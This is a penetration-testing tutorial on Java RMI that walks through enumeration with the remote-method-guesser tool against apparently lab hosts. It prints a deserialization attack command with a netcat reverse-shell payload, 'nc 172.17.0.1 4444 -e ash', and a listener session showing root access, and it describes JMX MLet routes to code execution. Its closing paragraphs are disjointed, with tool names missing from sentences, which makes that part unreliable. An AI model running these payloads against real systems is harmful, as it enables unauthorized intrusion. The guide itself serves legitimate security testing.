Java Remote Method Invocation (RMI) is a distributed application framework that allows methods to be invoked remotely across JVMs. Although widely used in legacy enterprise systems, Java RMI is often overlooked in penetration testing engagements, despite being highly vulnerable when misconfigured. This comprehensive guide details every step of Java RMI penetration testing — from discovery and enumeration to advanced exploitation, code execution, and real-world post-exploitation scenarios.
Understanding Java RMI and Its Attack Surface
Java RMI allows invocation of methods on remote objects as if they were local. It typically operates over TCP and uses the JRMP (Java Remote Method Protocol). The default port is 1099, although RMI objects can be registered on other ports, or within a multi-port registry architecture.
Key components:
RMI Registry: A naming service for remote objects.
Remote Object Stubs: Act as client-side proxies.
Skeletons: Server-side constructs to dispatch calls (deprecated in modern Java).
Enumertion
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
The ObjID values displayed by remote-method-guesser can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:
Even when no vulnerabilities have been identified during enumeration, the available RMI services could still expose dangerous functions. Furthermore, despite RMI communication to RMI default components is protected by deserialization filters, when talking to custom RMI services, such filters are usually not in place. Knowing valid method signatures on RMI services is therefore valuable.
Or you can perform deserialization attacks like this:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Known Interfaces
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
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is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:
The output of the enumeration action is explained in more detail in the of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
Unfortunately, Java RMI does not support enumerating methods on remote objects. That being said, it is possible to bruteforce method signatures with tools like or :
marks classes or interfaces as known if they are listed in the tool's internal database of known RMI services. In these cases you can use the known action to get more information on the corresponding RMI service: